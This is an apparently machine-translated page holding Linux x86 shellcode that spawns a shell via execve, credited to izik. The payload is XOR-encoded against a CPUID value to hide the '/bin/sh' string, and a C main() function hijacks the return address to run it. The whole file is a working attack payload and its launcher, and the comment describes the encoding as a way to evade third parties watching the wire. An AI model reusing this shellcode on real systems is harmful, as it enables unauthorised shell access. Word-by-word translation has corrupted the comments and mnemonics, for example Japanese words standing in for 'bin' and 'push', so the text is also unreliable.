このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* * (linux/x86) execve("/貯蔵所/sh", ["/貯蔵所/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes * * The idea behind this shellcode is to use a *weak* pre-株d secret between the 攻撃者 and * the attacked machine. So if a 3rd party 味方する would try to run this shellcode and would produce * a different CPUID 生産(高) (e.g. different arch) the shellcode won't work. In 新規加入 this also * 妨げるs from having the '/貯蔵所/sh' string 明白な on the wire. * * The shellcode 重要な is (0x6c65746e, 'letn') and 推定する/予想するd to be in %ecx 登録(する) after CPUID * * - izik <izik@tty64.org> */ char shellcode[] = "\x31\xc0" // xor %eax,%eax "\x0f\xa2" // cpuid "\x51" // 押し進める %ecx "\x68\xe7\x95\xa8\xec" // 押し進める $0xeca895e7 "\x68\xde\x7f\x37\x3f" // 押し進める $0x3f377fde "\x68\x07\x1a\xec\x8f" // 押し進める $0x8fec1a07 "\x68\x6e\x1c\x4a\x0e" // 押し進める $0x0e4a1c6e "\x68\x06\x5b\x16\x04" // 押し進める $0x04165b06 // // <_unpack_loop>: // "\x31\x0c\x24" // xor %ecx,(%esp) "\x5a" // pop %edx "\x75\xfa" // jne <_unpack_loop> "\x83\xec\x18" // sub $0x18,%esp "\x54" // 押し進める %esp "\xc3"; // ret int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }